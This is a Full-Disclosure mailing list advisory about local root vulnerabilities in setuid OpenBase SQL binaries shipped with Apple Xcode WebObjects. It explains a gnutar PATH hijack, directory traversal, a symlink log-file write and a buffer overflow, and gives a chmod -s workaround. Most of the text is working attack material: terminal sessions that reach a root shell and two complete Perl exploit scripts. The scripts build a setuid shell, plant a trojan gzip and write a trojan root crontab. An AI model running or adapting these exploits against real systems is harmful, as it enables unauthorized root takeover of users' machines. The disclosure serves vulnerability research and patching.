[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[Full-disclosure] Apple Xcode WebObjects / OpenBase SQL multiple vulnerabilities




DMA[2006-1016a] - 'Apple Xcode WebObjects / OpenBase SQL multiple 
vulnerabilities'
Author: Kevin Finisterre
Vendor(s): http://www.apple.com/ && http://www.openbase.com
Product: 'Apple Xcode for OSX <=2.2 (?) && OpenBase SQL <=10.0 (?)'
References: 
http://www.digitalmunition.com/DMA[2006-1016a].txt

Description:
For over a decade, the OpenBase family of products have been enabling some of 
the most innovative business applications 
at work today. With thousands of customers worldwide, OpenBase has become a 
brand that companies can rely on. OpenBase 
customers include AT&T, Adobe Systems, Canon, Walt Disney, First National Bank 
of Chicago, MCI, Motorola, Apple, The 
Sharper Image and many other innovators worldwide. 

Unfortunately for some Xcode users Apple has chosen to rely on OpenBase 
technology to provide added functionality for 
the WebObjects suite. By including OpenBase in the optional Xcode WebObjects 
package Apple has inadvertantly put users
at risk. Several setuid root binaries from OpenBase SQL are placed in 
/Library/OpenBase/bin during the installation of 
WebObjects support for Xcode. 

kevin-finisterres-computer:~ kf$ find /Library/OpenBase -perm -4000 
/Library/OpenBase/bin/OpenBase
/Library/OpenBase/bin/openexec
/Library/OpenBase/bin/openinfo
/Library/OpenBase/bin/openmonitor
/Library/OpenBase/bin/registration

The OpenBase binary makes poor use of its setuid privileges when calling 
/Library/OpenBase/bin/gnutar. The gnutar binary 
winds up being called while OpenBase is running with euid=0. Using the 
TAR_OPTIONS environment variable it is possible 
to influence gnutar in a manor that forces it to call 'gzip' without specifying 
a path. By manipulating the PATH variable 
an attacker is easily able to obtain root.   

In order for this issue to be exploitable an attacker must first have control 
of an OpenBase database file. Due to a 
directory transversal issue this requirement can be easily bypassed. An 
attacker simply needs to lay out the proper 
structure for the database files in /tmp and reference them with 
../../../../../../tmp/dbname. Placing files in /tmp is a 
simple way out for most situations but any writable directory will do. With the 
fake database files in place the OpenBase 
binary will happily hand over root via its gnutar helper. 

kevin-finisterres-computer:~/Desktop kf$ ./Xcode_OpenBase_pwn.pl 

Usage: ./Xcode_OpenBase_pwn.pl <target> 

Targets:

        0 . xcode_2-1.2_8m654_018213974.dmg
        1 . OpenBase9.1.5_MacOSX.dmg
        2 . OpenBase8.0.4_MacOSX.dmg
        3 . OpenBase7.0.15_MacOSX.dmg

kevin-finisterres-computer:~/Desktop kf$ ./Xcode_OpenBase_pwn.pl 1
*** Target: OpenBase9.1.5_MacOSX.dmg /Library/OpenBase/bin/OpenBase 
/Library/OpenBase/bin/gnutar: Removing leading `/' from member names
etc/master.passwd
/Library/OpenBase/bin/gnutar: Member names contain `..'
../../../../../../tmp/pwndertino.db/
../../../../../../tmp/pwndertino.db/encoding
../../../../../../tmp/pwndertino.db/notification
../../../../../../tmp/pwndertino.db/port
../../../../../../tmp/pwndertino.db/safe_sql_mode
../../../../../../tmp/pwndertino.db/simulationMode
../../../../../../tmp/pwndertino.db/threads
could not open simulation file
2006-10-15 16:10:53.024 OpenBase[932] server already running. Lock port found.
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 
80(admin)

The next issue with the OpenBase binary results in an attacker being able to 
place a root owned and world writable file anywhere on 
the target file system. Again the end result is a local root compromise, 
however in this case however a bit of legwork is required 
to get there. 

When an OpenBase instance starts a log is written to 
/path/to/database/database.sim/simulation.sql. Unfortunately when this log file 
is created OpenBase takes no objections to a symlink in place of the filename. 
A symlink can point to virtually anywhere on the 
filesystem so an attacker has many options at his disposal. In most cases being 
able to create a file alone will not get you root 
access. The proper umask and a crafty file location can make all the difference 
in the world in some instances. 

Having the ability to place a root owned file with rw-rw-rw- permissions 
anywhere on the filesystem is quite powerful. On Linux based 
systems writing to /etc/ld.so.preload has proven to be a reliable exploitation 
path to obtain root. Apple's OSX unfortunately has no 
such facility to abuse. After some research the most expediant way I could come 
up with to obtain root via rw-rw-rw- file creation was 
cron abuse.   

On a vanilla install of OSX there are no tabs in /var/cron/tabs, nor is cron 
even running. In order to exploit the cron facilities we
must have the cron daemon running. Fortunately the crontab -e command kicks off 
/usr/sbin/cron after a valid crontab is saved. 

kevin-finisterres-computer:~ kf$ ps -ax | grep cron 
 2340  p4  R+     0:00.00 grep cron
kevin-finisterres-computer:~ kf$ ls /var/cron/tabs/
kevin-finisterres-computer:~ kf$ crontab -e 
crontab: no crontab for kf - using an empty one
crontab: installing new crontab
kevin-finisterres-computer:~ kf$ ps -ax | grep cron 
 2344  ??  Ss     0:00.01 /usr/sbin/cron
 2346  p4  R+     0:00.00 grep cron
kevin-finisterres-computer:~ kf$ ls /var/cron/tabs/
kf

According to the man page 'cron checks each minute to see if its spool 
directory's modtime (or the modtime on /etc/crontab) has changed, 
and if it has, cron will then examine the modtime on all crontabs and reload 
those which have changed.  Thus cron need not be restarted 
whenever a crontab file is modified'.

Wow how perfect is that! 1.) crontab -e to start cron 2.) create 
/var/cron/tabs/root 3.) wait 1 minute 4.) enjoy root shell.    

kevin-finisterres-computer:~/Desktop kf$ ./Xcode_OpenBase_createfile.pl 0
*** Target: xcode_2-1.2_8m654_018213974.dmg /Library/OpenBase/bin/OpenBase 
/Library/OpenBase/bin/gnutar: Member names contain `..'
../../../../../../tmp/pwndertino.db/
../../../../../../tmp/pwndertino.db/encoding
../../../../../../tmp/pwndertino.db/notification
../../../../../../tmp/pwndertino.db/port
../../../../../../tmp/pwndertino.db/safe_sql_mode
../../../../../../tmp/pwndertino.db/simulationMode
../../../../../../tmp/pwndertino.db/threads
2006-10-16 20:36:57.482 OpenBase[2419] server already running. Lock port found.
/var/cron/tabs/root should be rw-rw-rw ... enjoy!
installing trojan crontab for root
sit around and chill for a minute then check /Users/Shared/shX !
sh-2.05b# id
uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 
80(admin)
sh-2.05b# cat /var/cron/tabs/root 
* * * * * /usr/sbin/chown root: /Users/Shared/shX; /bin/chmod 4755 
/Users/Shared/shX

Semi-insta root ala Apple's cron. Thanks guys! You may wanna look into that 
rw-rw-rw- cronjob thing, its probably not a good idea. 

OpenBase seems to have a few other issues but at this point I haven't bothered 
to try exploiting it any further. One of the issues
involves a standard buffer overflow. I currently do not know if the overflow is 
exploitable. 

kevin-finisterres-computer:/Library/OpenBase/bin kf$ ./OpenBase `perl -e 'print 
"A" x 3094'`
Segmentation fault

Starting program: /Library/OpenBase/bin/OpenBase `perl -e 'print "A" x 3094'`

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x41414141
0x90003168 in getenv ()
(gdb) x/i $pc 
0x90003168 <getenv+116>:        lbz     r0,0(r3)

Workaround: 
In a recent WebObjects update apple suggests to download the latest version of 
OpenBase directly from the vendor as a 
workaround to an other Outstanding Issue. One side effect of installing the 
update is the removal of the setuid bit from 
the OpenBase binaries. This effectively mitigates the issues mentioned above. 

http://docs.info.apple.com/article.html?artnum=302797
...
RESOLUTION: Download the latest the latest J2SE 5.0-compliant OpenBase JDBC 
driver at: 
http://www.openbase.com 

If you do not have the ability to download a new copy of OpenBase it is 
reccomended that you remove the setuid bits from the 
binaries by issuing a chmod -s command on each one. 

#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com) 
#
# http://docs.info.apple.com/article.html?artnum=61798 (This won't help)
# ftp://www.openbase.com/pub/OpenBase_10.0 (This will)
#
# This is an exploit for a 3rd party program that has been bundled with Xcode 
on several occasions. 
# The OpenBase binary calls gnutar while running with euid=0 by passing 
TAR_OPTIONS we can cause gzip to be 
# invoked. Since no path is specified we can export PATH=/path/to/trojan:$PATH 
in order to take root.

$binpath = "/Library/OpenBase/bin/OpenBase"; # Typical location. 

# In this instance targets are really pointless but I wanted to archive known 
vulnerable versions while testing. 
$tgts{"0"} = "xcode_2-1.2_8m654_018213974.dmg:$binpath ";
$tgts{"1"} = "OpenBase9.1.5_MacOSX.dmg:$binpath ";
$tgts{"2"} = "OpenBase8.0.4_MacOSX.dmg:$binpath ";
$tgts{"3"} = "OpenBase7.0.15_MacOSX.dmg:$binpath ";

unless (($target) = @ARGV) {
        print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

        foreach $key (sort(keys %tgts)) {
                ($a,$b) = split(/\:/,$tgts{"$key"});
                print "\t$key . $a\n";
        }

        print "\n";
        exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a $b\n";

open(OP,">/tmp/proactive.c");
printf OP "main()\n"; 
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh 
-i\"); }\n";
system("gcc -o /tmp/shX /tmp/proactive.c"); 

open(OP,">/tmp/or_really_reactive.c");
printf OP "main()\n"; 
printf OP "{ system(\"chown root: /tmp/shX; chmod 4755 /tmp/shX; rm -rf 
/tmp/or_really_reactive.c /tmp/proactive.c /tmp/pwndertino.* /tmp/gzip\"); }\n";
system("gcc -o /tmp/gzip /tmp/or_really_reactive.c"); 

system("mkdir /tmp/pwndertino.db");
system("echo \"Way to proactively audit 3rd party binaries before cramming them 
into a release \"> /tmp/pwndertino.db/port");
system("echo \"I wonder how long these vulnerable suids have been bundled with 
xcode \"> /tmp/pwndertino.db/encoding");
system("echo \"All your Mac are belong to us \"> /tmp/pwndertino.db/threads");
system("echo \"Welcome to pwndertino \"> /tmp/pwndertino.db/notification");
system("echo \"For the protection of our customers, Apple does not disclose, 
discuss, or confirm security issues until a full investigation has occurred and 
any necessary patches or releases are available \"> 
/tmp/pwndertino.db/simulationMode");
system("echo \"To learn more about Apple Product Security, see the Apple 
Computer Product Security Incident Response website\" > 
/tmp/pwndertino.db/safe_sql_mode");

system("export TAR_OPTIONS=\"-zv /etc/master.passwd\"; export 
PATH=/tmp:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin;$b 
../../../../../../tmp/pwndertino");

system("/tmp/shX");
#!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com) 
#
# http://docs.info.apple.com/article.html?artnum=61798 (This won't help)
# ftp://www.openbase.com/pub/OpenBase_10.0 (This will)
#
# Create a new file anywhere on the filesystem with rw-rw-rw privs. 
# Sorry you can NOT overwrite existing files. 
#
# Writing to roots crontab seems to be fairly prompt at handing out root shells
# Make sure that you get cron running by first creating a user crontab!
#
# This is an exploit for a 3rd party program that has been bundled with Xcode 
on several 
# occasions. The OpenBase binary creates a root owned log file 'simulation.sql' 
in the database path. 
# Since we control the database path via directory transversal and we also 
control the umask we can 
# create a file anywhere on the filesystem that is rw-rw-rw and owned by root. 
#  
# Following symlinks is bad mmmmmmmmmmkay!

$dest = "/var/cron/tabs/root";

$binpath = "/Library/OpenBase/bin/OpenBase"; # Typical location. 

# In this instance targets are really pointless but I wanted to archive known 
vulnerable versions while testing. 
$tgts{"0"} = "xcode_2-1.2_8m654_018213974.dmg:$binpath ";
$tgts{"1"} = "OpenBase9.1.5_MacOSX.dmg:$binpath ";
$tgts{"2"} = "OpenBase8.0.4_MacOSX.dmg:$binpath ";
$tgts{"3"} = "OpenBase7.0.15_MacOSX.dmg:$binpath ";

unless (($target) = @ARGV) {
        print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

        foreach $key (sort(keys %tgts)) {
                ($a,$b) = split(/\:/,$tgts{"$key"});
                print "\t$key . $a\n";
        }

        print "\n";
        exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a $b\n";

open(OP,">/tmp/proactive.c");
printf OP "main()\n"; 
printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh 
-i\"); }\n";
system("gcc -o /Users/Shared/shX /tmp/proactive.c"); 

# Create a user crontab FIRST! This ensures that cron is running when the fake 
root crontab is created. Aka semi-insta-root (in a minute)
system("echo '* * * * * /usr/bin/id > /tmp/aa' > /tmp/user_cron");
system("crontab /tmp/user_cron");

system("mkdir /tmp/pwndertino.db");
system("echo \"Way to proactively audit 3rd party binaries before cramming them 
into a release \"> /tmp/pwndertino.db/port");
system("echo \"I wonder how long these vulnerable suids have been bundled with 
xcode \"> /tmp/pwndertino.db/encoding");
system("echo \"All your Mac are belong to us \"> /tmp/pwndertino.db/threads");
system("echo \"Welcome to pwndertino \"> /tmp/pwndertino.db/notification");
system("echo \"For the protection of our customers, Apple does not disclose, 
discuss, or confirm security issues until a full investigation has occurred and 
any necessary patches or releases are available \"> 
/tmp/pwndertino.db/simulationMode");
system("echo \"To learn more about Apple Product Security, see the Apple 
Computer Product Security Incident Response website\" > 
/tmp/pwndertino.db/safe_sql_mode");

# The umask is where the lovin occurs. I'm rw-rw-rw James bitch!!
system("rm -rf  /tmp/pwndertino.sim; mkdir /tmp/pwndertino.sim; ln -s $dest 
/tmp/pwndertino.sim/simulation.sql");
system("umask 111; export TAR_OPTIONS=\"-v \"; export 
PATH=/tmp:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin;$b 
../../../../../../tmp/pwndertino");
print "$dest should be rw-rw-rw ... enjoy!\n";
print "installing trojan crontab for root\n";

system("echo '* * * * * /usr/sbin/chown root: /Users/Shared/shX; /bin/chmod 
4755 /Users/Shared/shX' > /var/cron/tabs/root");

print "sit around and chill for a minute then check /Users/Shared/shX !\n";
sleep 60 ;

system("/Users/Shared/shX");


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/